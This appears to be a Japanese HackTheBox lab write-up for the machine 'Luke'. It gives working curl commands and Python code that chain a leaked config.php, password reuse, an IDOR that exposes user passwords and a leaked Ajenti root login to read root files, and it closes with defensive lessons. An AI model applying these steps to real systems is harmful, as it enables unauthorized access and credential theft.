HackTheBox: Luke — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80/3000/8000
→
21/22/80/3000/8000
FTP匿名ログイン
for_Chihiro.txt ヒント
→
for_Chihiro.txt ヒント
config.php 漏洩
MySQL root パスワード
→
MySQL root パスワード
API JWT 再利用
admin:<DBパスワード>
→
admin:<DBパスワード>
/users/derry
Derry パスワード判明
→
Derry パスワード判明
/management/config.json
Ajenti root パスワード漏洩
→
Ajenti root パスワード漏洩
Ajenti Notepad
Open ダイアログでファイル閲覧
→
Open ダイアログでファイル閲覧
user.txt + root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン + バージョン検出
BASH
nmap -Pn -sV -sC -p 21,22,80,3000,8000 10.129.65.33
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3+ (ext.1) 22/tcp open ssh? 80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) 3000/tcp open http Node.js Express framework 8000/tcp open http Ajenti http control panel Service detection performed. 1 IP address (1 host up) scanned in 78.47 seconds
🚨
重要発見: 5個のポートすべてが後の攻略チェーンに関わる。
21(FTP匿名) → ヒント、80(Web+PHP) → 認証情報漏洩、3000(Node API) → JWT悪用、
8000(Ajenti 1.2.23.13、非常に古い管理パネル) → 最終的な RCE 相当の到達点。
Webサイト (port 80) の確認
BASH
curl -s http://10.129.65.33/ | grep -i title
RESULT
<title>Luke</title>
ℹ️
Bootstrap テンプレートの企業紹介ページ「Luke LTD」。連絡先
contact@luke.io のみで、
目立った攻撃面は無い。裏で稼働している他サービス(FTP/API/Ajenti)を調べる必要がある。
PHASE 2
資格情報チェーン — FTP → config.php → Node API JWT
FTP匿名ログインでヒントファイル取得
BASH
curl -s ftp://anonymous:anonymous@10.129.65.33/webapp/for_Chihiro.txt
RESULT (for_Chihiro.txt)
Dear Chihiro !!
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
ℹ️
送信者「Derry」というユーザー名が判明。「actual website のソースを見せる」という
文言から、Web サーバーのソースコード(PHP設定ファイル等)に何かヒントがあると推測できる。
config.php の平文DB認証情報漏洩
BASH
curl -s http://10.129.65.33/config.php
RESULT
$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword = 'Zk6heYCyv6ZE9Xcg';
$db = "login";
$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
🚨
config.php が PHP として実行されず平文でそのまま配信されている
(Apache の PHP ハンドラ設定漏れ、または拡張子誤り)。DB名が “login” であることから、
後述の Node.js API のログイン認証にもこのパスワードが再利用されている可能性が高い。
port 3000 API へログイン (パスワード使い回し)
BASH
curl -s -H "Content-Type: application/json" \
-d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' \
http://10.129.65.33:3000/login
RESULT
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg5NzQwNzQzLCJleHAiOjE3ODk4MjcxNDN9._xaOzUXwIuJs3PHQkmgbZG3QsMlR4IlVAs0wXTt9cH8"}
✅
MySQL の root パスワードが、そのまま Node API の “admin” ユーザーのログインパスワードとしても
通用する(認証情報の使い回し)。JWT トークンを取得できた。
JWT で /users を列挙 (raw トークンを authorization ヘッダーへ)
BASH
TOKEN="eyJhbGciOiJIUzI1NiIs..." curl -s -H "authorization: $TOKEN" http://10.129.65.33:3000/users
RESULT
[{"ID":"1","name":"Admin","Role":"Superuser"},
{"ID":"2","name":"Derry","Role":"Web Admin"},
{"ID":"3","name":"Yuri","Role":"Beta Tester"},
{"ID":"4","name":"Dory","Role":"Supporter"}]
⚠️
“authorization” ヘッダーは
Bearer <token> 形式ではない。
JWT トークンの生文字列をそのままヘッダー値として渡す必要がある(このAPI独自の実装)。
GET /users/<name> — 各ユーザー自身のパスワードが判明
BASH
for u in admin derry yuri dory; do curl -s -H "authorization: $TOKEN" http://10.129.65.33:3000/users/$u; echo done
RESULT
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}
✅
IDOR 的な情報漏洩: 権限チェックなしに任意ユーザー名を指定するだけで
そのユーザー自身のパスワードが返る。
Derry:rZ86wwLvx7jUxtch を次のフェーズで使用する。
PHASE 3
Ajenti 管理パネル認証情報の漏洩
/management (HTTP Basic 認証) — ユーザー名は大文字始まり必須
BASH
# 小文字 "derry" では 401 になる点に注意 (htpasswd は大文字小文字を区別する)
curl -s -o /dev/null -w '%{http_code}\n' -u "derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/config.json
curl -s -o /dev/null -w '%{http_code}\n' -u "Derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/
RESULT
401
200
⚠️
API から得た
derry(小文字)をそのまま Basic 認証に使うと 401 で失敗する。
画面表示上の名前 “Derry”(先頭大文字)がそのまま Unix/htpasswd アカウント名になっている。
/management/config.json — Ajenti root パスワード漏洩
BASH
curl -s -u "Derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/config.json | python3 -m json.tool
RESULT (抜粋)
{
"users": {
"root": {
"configs": {
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
"ajenti.plugins.munin.client.MuninClient": "{... \"password\": \"123\" ...}",
...
},
"password": "KpMasng6S5EtTy9Z",
"permissions": []
}
},
"bind": {"host": "0.0.0.0", "port": 8000},
"authentication": true
}
🚨
重要な落とし穴: この JSON には munin プラグイン設定内にも別の
"password": "123" フィールドが先に出現する。最初にマッチした
正規表現で抽出すると誤った値を掴む。JSON としてパースし
users.root.password を明示的に辿る必要がある。
Ajenti(port 8000) の root ログインパスワードは KpMasng6S5EtTy9Z。
PHASE 4
Ajenti 1.x 独自プロトコルの解析
ログインとプロトコル概要
HTTP
POST /ajenti:auth Content-Type: application/x-www-form-urlencoded username=root&password=KpMasng6S5EtTy9Z
RESULT
HTTP/1.1 302 Found Set-Cookie: session=<session-id>; ...
ℹ️
Ajenti 1.2.23.13 (2019年当時でも既に旧式) は socket.io v0.9
(Engine.IO 以前の世代)でサーバーレンダリングした UI ウィジェットツリー全体を
base64 + raw-deflate 圧縮で配信する独自プロトコルを使う。ブラウザなしで
操作するには、この後述のプロトコルを HTTP クライアントで再現する必要がある。
socket.io ハンドシェイクと xhr-polling
PYTHON (要点)
# 1. handshake: GET /ajenti:socket/1/?t=<ms> # → "<sid>:<heartbeat秒>:<timeout秒>:websocket,flashsocket,xhr-polling,jsonp-polling" # 2. xhr-polling で送受信: # GET/POST /ajenti:socket/1/xhr-polling/<sid>?t=<ms> # 3. パケット形式 "<type>:<id>:<endpoint>:<data>" # type 1=connect, 3=message, 5=event # namespace接続は "1::/stream" ← コロン3個必須 # (4個にすると endpoint が空文字列扱いになり no_such_namespace エラー) sess.post(url, data="1::/stream")
⚠️
複数フレームが1レスポンスに詰め込まれる場合、区切り文字 U+FFFD (�) の
<delim><バイト長><delim><フレーム>... 形式で packed される。
テキストデコード後に処理すると、区切り文字由来のマルチバイト境界破損で
base64デコードに失敗するため、必ずバイト列のまま分割・デコードすること。
UIツリーの取得(raw-deflate 圧縮)とセクション切替
PYTHON
import zlib, base64, json
def decompress_arg(frame_bytes):
b64 = re.search(rb'"args":\["(.*)"\]', frame_bytes).group(1).replace(b'\\"', b'"')
raw = base64.b64decode(b64)
return zlib.decompress(raw, -15) # ← headerなし raw deflate (標準zlibでは失敗)
ui_tree = json.loads(decompress_arg(frame))
# セクション切替は対象セクション自身への click ではなく、
# main:sections_root ウィジェットへ switch イベントを送る
switch = {"type": "ui_update", "content": [
{"type": "event", "uid": sections_root_uid, "event": "switch",
"params": {"uid": notepad_section_uid}}
]}
ℹ️
クライアント JS (
main__sections_root.setupDom)を解析すると、
セクションタブの click ハンドラは _this.event('switch', {uid: child.uid})
(親の sections_root が switch イベントを発行)であることが分かる。
Terminal / File Manager “Edit” はこの環境で壊れている
NOTE
当初、最も直接的な方法として Ajenti の Terminal プラグインでコマンドを実行し
cat でフラグを読む方式を試みた:
・"New"/"Run" ボタンで terminal:thumbnail(擬似端末オブジェクト)は正常に生成される
・/terminal namespace への select は成功する(初期 "set" イベントも届く)
・しかし画面バッファ(35行×160列)が恒久的に完全な空白のまま一切更新されない
・xhr-polling / 生 WebSocket の両トランスポートで同一の空バッファが返るため、
クライアント側の実装ミスではなく、サーバー側 PTY(forkpty 相当)自体が
この FreeBSD 環境で機能していないと推測される
次に File Manager プラグインでファイルのプロパティダイアログ内 "Edit" ボタンを
試したが、クリック後そのセッションの xhr-polling チャンネルが
以後ずっと ReadTimeout になり応答不能になった(Ajenti デーモン自体は
クラッシュしないが、そのセッションだけ死ぬ)。
さらに、これらの機能を繰り返し試行(不正な形式のパケット送信や過度な
ポーリング)した結果、Ajenti デーモン自体がクラッシュして
connection refused になる事象も一度発生した。自動リスタートは
無いため、HTB 側でのマシンリセットが必要になった。
🚨
教訓: Ajenti Terminal と File Manager の Edit 機能はこの環境では
使用しない。過度な試行はサービスクラッシュを招くリスクがある。
動作する方法: Notepad プラグインの Open ダイアログ
PYTHON (要点)
# 1. main:sections_root へ switch イベントで "Notepad" セクションへ切替
# 2. "Open" ボタンを click → openfiledialog が開く(ルート "/" のファイル一覧)
# 3. パスの各セグメントを順に listitem の label テキストで検索して click
# 例: /root/root.txt なら listitem"root" → listitem"root.txt"
# 4. 最後のファイル名を click すると、レスポンスの ui_update 内の
# codearea ウィジェットの "value" プロパティにファイル内容全体が入る
def read_file(path):
switch_to("Notepad")
click(open_button_uid)
cur_ui = get_ui()
for seg in [s for s in path.split("/") if s]:
li = find_listitem_by_label(cur_ui, seg)
click(li["uid"])
cur_ui = get_ui()
codearea = find_by_type(cur_ui, "codearea")
return codearea["value"]
✅
この方式は PTY もブロッキング編集処理も使わないため安定して動作する。
listitem の uid は描画のたびに変わるため、click のたびに最新の UI ツリーから
ラベルテキストで再検索する必要がある(uid のハードコード不可)。
PHASE 5
user.txt / root.txt 取得
/home/derry/user.txt を Notepad Open ダイアログで開く
PYTHON
# path = "/home/derry/user.txt"
# listitem "home" → listitem "derry" → listitem "user.txt" の順に click
content = read_file("/home/derry/user.txt")
print(content)
RESULT (codearea.value)
1a42148d29457db189e3aaaac97863ab
user.txt — derry
1a42148d29457db189e3aaaac97863ab
/root/root.txt を Notepad Open ダイアログで開く
PYTHON
# path = "/root/root.txt"
# listitem "root" → listitem "root.txt" の順に click
content = read_file("/root/root.txt")
print(content)
RESULT (codearea.value)
b0b884d986d69b192a1e89db709b4fb8
root.txt — root
b0b884d986d69b192a1e89db709b4fb8
✅
Ajenti は root 権限で動作するプロセスであるため、Notepad プラグインは
ファイルシステム全体を root 権限で読み書きできる。ログイン成功(Ajentiのroot
パスワード漏洩)の時点で事実上のフル権限に到達しており、user.txt / root.txt
いずれも同じ手順で読み取れる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — derry
1a42148d29457db189e3aaaac97863ab
root.txt — root
b0b884d986d69b192a1e89db709b4fb8
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス | vsftpd 3.0.3+ | 内部メモ・ユーザー名の漏洩 | Medium | for_Chihiro.txt からユーザー名 “Derry” を入手 |
| ソースコード平文漏洩 | config.php (Apache/PHP設定不備) | MySQL 認証情報の平文漏洩 | Critical | PHP として実行されず生テキストで配信、DBパスワードを直接取得 |
| 認証情報の使い回し + IDOR | Node.js/Express API (port 3000) | 全ユーザーのパスワード漏洩 | High | DBパスワードをAPIログインに再利用しJWT取得、/users/<name>で権限チェック無しに全員のパスワードを取得 |
| 管理設定ファイルの露出 | /management/config.json | Ajenti(root権限プロセス)の認証情報漏洩 | Critical | Basic認証(大文字小文字区別に注意)後、config.json内のAjenti rootパスワードを取得 |
| Ajenti 1.x 管理パネル露出 | Ajenti 1.2.23.13 (port 8000) | root権限でのファイル読み取り(実質的な完全侵害) | Critical | 漏洩した root パスワードでログインし、Notepad プラグインの Open ダイアログでフラグファイルを直接閲覧 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョンスキャン | 21(FTP)/22(SSH)/80(Web)/3000(Node)/8000(Ajenti) |
| 2 | FTP | 匿名ログイン | ユーザー名 “Derry” のヒント |
| 3 | Web漏洩 | config.php 平文配信 | MySQL root:Zk6heYCyv6ZE9Xcg |
| 4 | API | パスワード使い回し + JWT | derry:rZ86wwLvx7jUxtch 含む全ユーザーパスワード |
| 5 | 管理設定漏洩 | Basic認証 + config.json | Ajenti root:KpMasng6S5EtTy9Z |
| 6 | Ajentiログイン | socket.io v0.9 プロトコル解析 | UIツリー取得・セクション操作の実装 |
| 7 | ファイル閲覧 | Notepad Open ダイアログ | user.txt + root.txt (root権限で両方一括取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| config.php が PHP として実行されず平文配信されている | Web サーバー設定で .php 拡張子が確実に PHP ハンドラへ渡ることを確認する。設定ファイルは DocumentRoot 外に置く、または環境変数/シークレットマネージャーへ移行する。 |
| DBパスワードが他サービス(API)のログイン認証にも使い回されている | サービスごとに独立した認証情報を発行し、パスワードの使い回しを禁止するポリシーを徹底する。 |
| /users/<name> API に認可チェックが無く任意ユーザーのパスワードを取得できる(IDOR) | APIエンドポイントごとに「本人または管理者のみ」の認可チェックを必ず実装する。パスワードをAPIレスポンスに含めないこと自体も見直すべき。 |
| /management/config.json が Basic認証のみで露出し、管理パネルの root パスワードを含む | 機密設定ファイルをWebから到達可能な場所に置かない。やむを得ない場合は多要素認証・IP制限・別ネットワークセグメントでの保護を行う。 |
| Ajenti 1.2.23.13 という2019年当時でも旧式な管理パネルがroot権限で公開稼働 | 管理パネルは最新版へ更新し、外部からアクセス不能なVPN/管理専用ネットワーク内に限定する。root権限でのプロセス実行も最小権限の原則に反するため避ける。 |
